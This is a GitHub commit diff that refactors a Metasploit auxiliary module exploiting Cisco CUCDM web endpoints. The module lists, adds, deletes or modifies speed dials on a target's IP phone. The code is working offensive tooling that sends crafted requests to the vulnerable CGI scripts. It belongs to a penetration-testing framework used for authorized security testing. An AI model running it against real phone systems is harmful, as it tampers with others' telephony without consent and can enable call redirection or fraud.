Skip to content

Commit a2d479a

Browse files
committed
Refactor run method
1 parent cf9d7d5 commit a2d479a

File tree

1 file changed

+103
-77
lines changed

1 file changed

+103
-77
lines changed

modules/auxiliary/voip/cisco_cucdm_speed_dials.rb

Lines changed: 103 additions & 77 deletions
Original file line numberDiff line numberDiff line change
@@ -48,88 +48,16 @@ def initialize(info={})
4848
end
4949

5050
def run
51-
mac = Rex::Text.uri_encode(datastore['MAC'])
52-
name = Rex::Text.uri_encode(datastore['NAME'])
53-
position = Rex::Text.uri_encode(datastore['POSITION'])
54-
telno = Rex::Text.uri_encode(datastore['TELNO'])
5551

5652
case action.name.upcase
5753
when 'MODIFY'
58-
print_status("#{peer} - Deleting Speed Dial of the IP phone")
59-
60-
vars_get = {
61-
'entry' => "#{position}",
62-
'device' => "SEP#{mac}"
63-
}
64-
65-
status, res = send_rcv('phonespeeddialdelete.cgi', vars_get)
66-
67-
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/
68-
print_good("#{peer} - Speed Dial #{position} is deleted successfully")
69-
print_status("#{peer} - Adding Speed Dial to the IP phone")
70-
71-
vars_get = {
72-
'name' => "#{name}",
73-
'telno' => "#{telno}",
74-
'device' => "SEP#{mac}",
75-
'entry' => "#{position}",
76-
'mac' => "#{mac}"
77-
}
78-
79-
status, res = send_rcv('phonespeedialadd.cgi', vars_get)
80-
81-
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/
82-
print_good("#{peer} - Speed Dial #{position} is added successfully")
83-
elsif res && res.body =~ /exist/
84-
print_error("#{peer} - Speed Dial is exist, change the position or choose modify!")
85-
else
86-
print_error("#{peer} - Speed Dial couldn't add!")
87-
end
88-
else
89-
print_error("#{peer} - Speed Dial is not found!")
90-
end
54+
modify
9155
when 'DELETE'
92-
print_status("#{peer} - Deleting Speed Dial of the IP phone")
93-
94-
vars_get = {
95-
'entry' => "#{position}",
96-
'device' => "SEP#{mac}"
97-
}
98-
99-
status, res = send_rcv('phonespeeddialdelete.cgi', vars_get)
100-
101-
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/
102-
print_good("#{peer} - Speed Dial #{position} is deleted successfully")
103-
else
104-
print_error("#{peer} - Speed Dial is not found!")
105-
end
106-
56+
delete
10757
when 'ADD'
108-
print_status("#{peer} - Adding Speed Dial to the IP phone")
109-
vars_get = {
110-
'name' => "#{name}",
111-
'telno' => "#{telno}",
112-
'device' => "SEP#{mac}",
113-
'entry' => "#{position}",
114-
'mac' => "#{mac}"
115-
}
116-
status, res = send_rcv('phonespeedialadd.cgi', vars_get)
117-
118-
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/
119-
print_good("#{peer} - Speed Dial #{position} is added successfully")
120-
elsif res && res.body && res.body.to_s =~ /exist/
121-
print_error("#{peer} - Speed Dial is exist, change the position or choose modify!")
122-
else
123-
print_error("#{peer} - Speed Dial couldn't add!")
124-
end
125-
else
126-
print_status("Getting Speed Dials of the IP phone")
127-
vars_get = {
128-
'device' => "SEP#{mac}"
129-
}
130-
131-
status, res = send_rcv('speeddials.cgi', vars_get)
132-
parse(res) unless status == Exploit::CheckCode::Safe
58+
add
59+
when 'LIST'
60+
list
13361
end
13462

13563
end
@@ -177,4 +105,102 @@ def parse(res)
177105
print_status("#{peer} - No Speed Dial detected")
178106
end
179107
end
108+
109+
def list
110+
mac = datastore['MAC']
111+
112+
print_status("#{peer} - Getting Speed Dials of the IP phone")
113+
vars_get = {
114+
'device' => "SEP#{mac}"
115+
}
116+
117+
status, res = send_rcv('speeddials.cgi', vars_get)
118+
parse(res) unless status == Exploit::CheckCode::Safe
119+
end
120+
121+
def add
122+
mac = datastore['MAC']
123+
name = datastore['NAME']
124+
position = datastore['POSITION']
125+
telno = datastore['TELNO']
126+
127+
print_status("#{peer} - Adding Speed Dial to the IP phone")
128+
vars_get = {
129+
'name' => "#{name}",
130+
'telno' => "#{telno}",
131+
'device' => "SEP#{mac}",
132+
'entry' => "#{position}",
133+
'mac' => "#{mac}"
134+
}
135+
status, res = send_rcv('phonespeedialadd.cgi', vars_get)
136+
137+
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/
138+
print_good("#{peer} - Speed Dial #{position} is added successfully")
139+
elsif res && res.body && res.body.to_s =~ /exist/
140+
print_error("#{peer} - Speed Dial is exist, change the position or choose modify!")
141+
else
142+
print_error("#{peer} - Speed Dial couldn't add!")
143+
end
144+
end
145+
146+
def delete
147+
mac = datastore['MAC']
148+
position = datastore['POSITION']
149+
150+
print_status("#{peer} - Deleting Speed Dial of the IP phone")
151+
152+
vars_get = {
153+
'entry' => "#{position}",
154+
'device' => "SEP#{mac}"
155+
}
156+
157+
status, res = send_rcv('phonespeeddialdelete.cgi', vars_get)
158+
159+
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/
160+
print_good("#{peer} - Speed Dial #{position} is deleted successfully")
161+
else
162+
print_error("#{peer} - Speed Dial is not found!")
163+
end
164+
end
165+
166+
def modify
167+
mac = datastore['MAC']
168+
name = datastore['NAME']
169+
position = datastore['POSITION']
170+
telno = datastore['TELNO']
171+
172+
print_status("#{peer} - Deleting Speed Dial of the IP phone")
173+
174+
vars_get = {
175+
'entry' => "#{position}",
176+
'device' => "SEP#{mac}"
177+
}
178+
179+
status, res = send_rcv('phonespeeddialdelete.cgi', vars_get)
180+
181+
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/
182+
print_good("#{peer} - Speed Dial #{position} is deleted successfully")
183+
print_status("#{peer} - Adding Speed Dial to the IP phone")
184+
185+
vars_get = {
186+
'name' => "#{name}",
187+
'telno' => "#{telno}",
188+
'device' => "SEP#{mac}",
189+
'entry' => "#{position}",
190+
'mac' => "#{mac}"
191+
}
192+
193+
status, res = send_rcv('phonespeedialadd.cgi', vars_get)
194+
195+
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/
196+
print_good("#{peer} - Speed Dial #{position} is added successfully")
197+
elsif res && res.body =~ /exist/
198+
print_error("#{peer} - Speed Dial is exist, change the position or choose modify!")
199+
else
200+
print_error("#{peer} - Speed Dial couldn't add!")
201+
end
202+
else
203+
print_error("#{peer} - Speed Dial is not found!")
204+
end
205+
end
180206
end

0 commit comments

Comments
 (0)